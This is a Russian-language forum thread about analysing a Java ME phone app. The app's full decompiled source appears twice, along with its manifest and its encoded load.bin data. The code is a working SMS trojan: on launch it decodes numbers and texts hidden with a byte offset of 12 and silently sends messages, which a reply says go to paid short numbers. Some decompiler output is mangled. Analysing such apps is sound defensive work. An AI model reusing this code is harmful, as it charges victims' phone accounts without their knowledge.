скажите Какое сообщение и када посылаеться этим java приложением.в архиве 4 фала mixmobile.class load.bin ico.png MANIFEST вот что в файле mixmobile.class; import java.io.IOException; import java.io.InputStream; import javax.microedition.io.Connector; import javax.microedition.midlet.MIDlet; import javax.wireless.messaging.MessageConnection; import javax.wireless.messaging.TextMessage; public class MixMobile extends MIDlet { public String smsnumber; public String smstext; public int tpcurr; public int tppoint; public static int a = 12; public void startApp() { zagruzka(); } public void zagruzka() { InputStream localInputStream; try { localInputStream = getClass().getResourceAsStream("/load.bin"); this.tppoint = (localInputStream.read() - a); for (int i = 0; i < this.tppoint; ++i) { this.smsnumber = a(localInputStream); this.smstext = a(localInputStream); sendSMS(); } return; } catch (Exception localException) { } } private static String a(InputStream paramInputStream) throws IOException { int i = paramInputStream.read() - a; StringBuffer localStringBuffer = new StringBuffer(); for (int j = 0; j < i; ++j) localStringBuffer.append((char)(paramInputStream.read() - a)); return localStringBuffer.toString(); } public void sendSMS() { if (this.tpcurr++ == this.tppoint - 1) this.tpcurr = 0; try { MessageConnection localMessageConnection; TextMessage localTextMessage; (localTextMessage = (TextMessage)(localMessageConnection = (MessageConnection)Connector.open("sms://" + this.smsnumber)).newMessage("text")).setPayloadText(this.smstext + " " + getAppProperty("id")); localMessageConnection.send(localTextMessage); localMessageConnection.close(); return; } catch (Exception localException) { } } public void pauseApp() { } public void destroyApp(boolean paramBoolean) { } } Вот этот же файл открытый прогой DJ Java Decompiler 3.10 // Decompiled by DJ v3.10.10.93 Copyright 2007 Atanas Neshkov Date: 08.03.2009 18:36:49 // Home Page: http://members.fortunecity.com/neshkov/dj.html http://www.neshkov.com/dj.html - Check often for new version! // Decompiler options: packimports(3) annotate_fullnames deadcode ansi lnc safe debugmode // Class Version: 47.0 import java.io.IOException; import java.io.InputStream; import javax.microedition.io.Connector; import javax.microedition.midlet.MIDlet; import javax.wireless.messaging.MessageConnection; import javax.wireless.messaging.TextMessage; // flag ACC_SUPER is set public class MixMobile extends MIDlet { // Constants: 118 // Interfaces: 0 // Fields: 5 // Methods: 8 // Class Attributes: 0 // Decompiling method: <init> Signature: ()V // Max stack: 1, #locals: 1, #params: 1 // Code length: 5 bytes, Code offset: 1431 // Parameter 0 added: Name this Type LMixMobile; At 0 5 Range 0 4 Init 0 fixed // RetValue 1 added: Name <returnValue> Type V At 0 5 Range 0 4 Init 0 fixed public MixMobile() { /* super(); */ // 0 0:aload_0 // 1 1:invokespecial #17 <Method void MIDlet()> /* return; */ // 2 4:return } // Decompiling method: startApp Signature: ()V // Max stack: 1, #locals: 1, #params: 1 // Code length: 5 bytes, Code offset: 1462 // Parameter 0 added: Name this Type LMixMobile; At 0 5 Range 0 4 Init 0 fixed // RetValue 1 added: Name <returnValue> Type V At 0 5 Range 0 4 Init 0 fixed public void startApp() { zagruzka(); // 0 0:aload_0 // 1 1:invokevirtual #29 <Method void MixMobile.zagruzka()> /* return; */ // 2 4:return } // Decompiling method: zagruzka Signature: ()V // Max stack: 3, #locals: 3, #params: 1 // Code length: 61 bytes, Code offset: 1493 // Exception table: 1 entries // start 0 end 58 handler 59 type Exception // Parameter 0 added: Name this Type LMixMobile; At 0 61 Range 0 60 Init 0 fixed // RetValue 3 added: Name <returnValue> Type V At 0 61 Range 0 60 Init 0 fixed // LocalVar 1 added: Name inputstream Type Ljava/io/InputStream; At 9 33 Range 9 41 Init 9 // LocalVar 2 added: Name flag Type Z At 23 32 Range 23 54 Init 23 // LocalVar 2 chged: Name i Oname flag Type I At 24 1 Range 23 54 Init 23 public void zagruzka() { try { InputStream inputstream = ((Object)this).getClass().getResourceAsStream("/load.bin"); // 0 0:aload_0 // 1 1:invokevirtual #23 <Method java.lang.Class java.lang.Object.getClass()> // 2 4:ldc1 #35 <String "/load.bin"> // 3 6:invokevirtual #24 <Method java.io.InputStream java.lang.Class.getResourceAsStream(java.lang.String)> // 4 9:astore_1 tppoint = inputstream.read() - a; // 5 10:aload_0 // 6 11:aload_1 // 7 12:invokevirtual #26 <Method int java.io.InputStream.read()> // 8 15:getstatic #12 <Field int MixMobile.a> // 9 18:isub // 10 19utfield #16 <Field int MixMobile.tppoint> for(int i = 0; i < tppoint; i++) //* 11 22:iconst_0 //* 12 23:istore_2 //* 13 24:iload_2 //* 14 25:aload_0 //* 15 26:getfield #16 <Field int MixMobile.tppoint> //* 16 29:icmpge 58 { smsnumber = a(inputstream); // 17 32:aload_0 // 18 33:aload_1 // 19 34:invokestatic #19 <Method java.lang.String MixMobile.a(java.io.InputStream)> // 20 37utfield #13 <Field java.lang.String MixMobile.smsnumber> smstext = a(inputstream); // 21 40:aload_0 // 22 41:aload_1 // 23 42:invokestatic #19 <Method java.lang.String MixMobile.a(java.io.InputStream)> // 24 45utfield #14 <Field java.lang.String MixMobile.smstext> sendSMS(); // 25 48:aload_0 // 26 49:invokevirtual #27 <Method void MixMobile.sendSMS()> } // 27 52:iinc 2 1 //* 28 55:goto 24 return; // 29 58:return } catch(Exception _ex) //* 30 59op { return; // 31 60:return } } // Decompiling method: a Signature: (Ljava/io/InputStreamLjava/lang/String; // Max stack: 3, #locals: 4, #params: 1 // Code length: 49 bytes, Code offset: 1634 // Parameter 0 added: Name inputstream Type Ljava/io/InputStream; At 0 49 Range 0 48 Init 0 // RetValue 4 added: Name <returnValue> Type Ljava/lang/String; At 0 49 Range 0 48 Init 0 fixed // LocalVar 1 added: Name i Type I At 8 13 Range 8 20 Init 8 // LocalVar 2 added: Name stringbuffer Type Ljava/lang/StringBuffer; At 16 29 Range 16 44 Init 16 // LocalVar 3 added: Name flag Type Z At 18 23 Range 18 40 Init 18 // LocalVar 3 chged: Name j Oname flag Type I At 19 1 Range 18 40 Init 18 private static String a(InputStream inputstream) throws IOException { int i = inputstream.read() - a; // 0 0:aload_0 // 1 1:invokevirtual #26 <Method int java.io.InputStream.read()> // 2 4:getstatic #12 <Field int MixMobile.a> // 3 7:isub // 4 8:istore_1 StringBuffer stringbuffer = new StringBuffer(); // 5 9:new #7 <Class java.lang.StringBuffer> // 6 12:dup // 7 13:invokespecial #18 <Method void StringBuffer()> // 8 16:astore_2 for(int j = 0; j < i; j++) //* 9 17:iconst_0 //* 10 18:istore_3 //* 11 19:iload_3 //* 12 20:iload_1 //* 13 21:icmpge 44 stringbuffer.append((char)(inputstream.read() - a)); // 14 24:aload_2 // 15 25:aload_0 // 16 26:invokevirtual #26 <Method int java.io.InputStream.read()> // 17 29:getstatic #12 <Field int MixMobile.a> // 18 32:isub // 19 33:int2char // 20 34:invokevirtual #20 <Method java.lang.StringBuffer java.lang.StringBuffer.append(char)> // 21 37op // 22 38:iinc 3 1 //* 23 41:goto 19 return stringbuffer.toString(); // 24 44:aload_2 // 25 45:invokevirtual #28 <Method java.lang.String java.lang.StringBuffer.toString()> // 26 48:areturn } // Decompiling method: sendSMS Signature: ()V // Max stack: 4, #locals: 3, #params: 1 // Code length: 119 bytes, Code offset: 1755 // Exception table: 1 entries // start 25 end 116 handler 117 type Exception // Parameter 0 added: Name this Type LMixMobile; At 0 119 Range 0 118 Init 0 fixed // RetValue 3 added: Name <returnValue> Type V At 0 119 Range 0 118 Init 0 fixed // LocalVar 1 added: Name messageconnection Type Ljavax/wireless/messaging/MessageConnection; At 54 57 Range 54 110 Init 54 // LocalVar 2 added: Name textmessage Type Ljavax/wireless/messaging/TextMessage; At 66 39 Range 66 104 Init 66 public void sendSMS() { if(tpcurr++ == tppoint - 1) //* 0 0:aload_0 //* 1 1:dup //* 2 2:getfield #15 <Field int MixMobile.tpcurr> //* 3 5:dup_x1 //* 4 6:iconst_1 //* 5 7:iadd //* 6 8utfield #15 <Field int MixMobile.tpcurr> //* 7 11:aload_0 //* 8 12:getfield #16 <Field int MixMobile.tppoint> //* 9 15:iconst_1 //* 10 16:isub //* 11 17:icmpne 25 tpcurr = 0; // 12 20:aload_0 // 13 21:iconst_0 // 14 22utfield #15 <Field int MixMobile.tpcurr> try { MessageConnection messageconnection; TextMessage textmessage; (textmessage = (TextMessage)(messageconnection = (MessageConnection)Connector.open("sms://" + smsnumber)).newMessage("text")).setPayloadText(smstext + " " + getAppProperty("id")); // 15 25:new #7 <Class java.lang.StringBuffer> // 16 28:dup // 17 29:invokespecial #18 <Method void StringBuffer()> // 18 32:ldc1 #37 <String "sms://"> // 19 34:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)> // 20 37:aload_0 // 21 38:getfield #13 <Field java.lang.String MixMobile.smsnumber> // 22 41:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)> // 23 44:invokevirtual #28 <Method java.lang.String java.lang.StringBuffer.toString()> // 24 47:invokestatic #25 <Method javax.microedition.io.Connection javax.microedition.io.Connector.open(java.lang.String)> // 25 50:checkcast #10 <Class javax.wireless.messaging.MessageConnection> // 26 53:dup // 27 54:astore_1 // 28 55:ldc1 #38 <String "text"> // 29 57:invokeinterface #31 <Method javax.wireless.messaging.Message javax.wireless.messaging.MessageConnection.newMessage(java.lang.String)> // 30 62:checkcast #11 <Class javax.wireless.messaging.TextMessage> // 31 65:dup // 32 66:astore_2 // 33 67:new #7 <Class java.lang.StringBuffer> // 34 70:dup // 35 71:invokespecial #18 <Method void StringBuffer()> // 36 74:aload_0 // 37 75:getfield #14 <Field java.lang.String MixMobile.smstext> // 38 78:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)> // 39 81:ldc1 #34 <String " "> // 40 83:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)> // 41 86:aload_0 // 42 87:ldc1 #36 <String "id"> // 43 89:invokevirtual #22 <Method java.lang.String MixMobile.getAppProperty(java.lang.String)> // 44 92:invokevirtual #21 <Method java.lang.StringBuffer java.lang.StringBuffer.append(java.lang.String)> // 45 95:invokevirtual #28 <Method java.lang.String java.lang.StringBuffer.toString()> // 46 98:invokeinterface #33 <Method void javax.wireless.messaging.TextMessage.setPayloadText(java.lang.String)> messageconnection.send(((javax.wireless.messaging.Message) (textmessage))); // 47 103:aload_1 // 48 104:aload_2 // 49 105:invokeinterface #32 <Method void javax.wireless.messaging.MessageConnection.send(javax.wireless.messaging.Message)> messageconnection.close(); // 50 110:aload_1 // 51 111:invokeinterface #30 <Method void javax.wireless.messaging.MessageConnection.close()> return; // 52 116:return } catch(Exception _ex) //* 53 117op { return; // 54 118:return } } // Decompiling method: pauseApp Signature: ()V // Max stack: 0, #locals: 1, #params: 1 // Code length: 1 bytes, Code offset: 1937 // Parameter 0 added: Name this Type LMixMobile; At 0 1 Range 0 0 Init 0 fixed // RetValue 1 added: Name <returnValue> Type V At 0 1 Range 0 0 Init 0 fixed public void pauseApp() { /* return; */ // 0 0:return } // Decompiling method: destroyApp Signature: (Z)V // Max stack: 0, #locals: 2, #params: 2 // Code length: 1 bytes, Code offset: 1964 // Parameter 0 added: Name this Type LMixMobile; At 0 1 Range 0 0 Init 0 fixed // Parameter 1 added: Name flag Type Z At 0 1 Range 0 0 Init 0 // RetValue 2 added: Name <returnValue> Type V At 0 1 Range 0 0 Init 0 fixed public void destroyApp(boolean flag) { /* return; */ // 0 0:return } public String smsnumber; public String smstext; public int tpcurr; public int tppoint; public static int a = 12; // Decompiling method: <clinit> Signature: ()V // Max stack: 1, #locals: 0, #params: 0 // Code length: 6 bytes, Code offset: 1991 // RetValue 0 added: Name <returnValue> Type V At 0 6 Range 0 5 Init 0 fixed // final and/or public access modifiers removed static { /* a = 12; */ // 0 0:bipush 12 // 1 2utstatic #12 <Field int MixMobile.a> //* 2 5:return } } Ну и manifest.mf; Manifest-Version: 1.0 MicroEdition-Configuration: CLDC-1.0 MIDlet-Name: osyt MIDlet-Description: osyt Created-By: 1.4.2_12 (Sun Microsystems Inc.) MIDlet-Icon: /ico.png MIDlet-Vendor: CyberMobs MIDlet-1: osyt, /ico.png, MixMobile MIDlet-Permissions: javax.wireless.messaging.sms.send MIDlet-Version: 2.11 MicroEdition-Profile: MIDP-1.0 id: 3306 Есть и файл load.bin который немогу окрыть ни одной программой И так какме будут мысли
Вот что в нем если открыть блокнотом или winhex ??C=>>?y?zqE?B<<D?"y?D?DA?ot|{w?B<<D?"y?D?DA?ot|{w?>@CB?pmE,=<==B?==C=?{|q"
Ошибаешься.посылается сообщение на платные короткие номера.сами номера узнать то можно установив на телефон эту программу.перед этим перевести телефон в автономный режим чтобы сеть была отключена.и запустить программу.а так там идут запросы на несколько номеров по очереди. Мне же надо знать где все это записывается в самой программе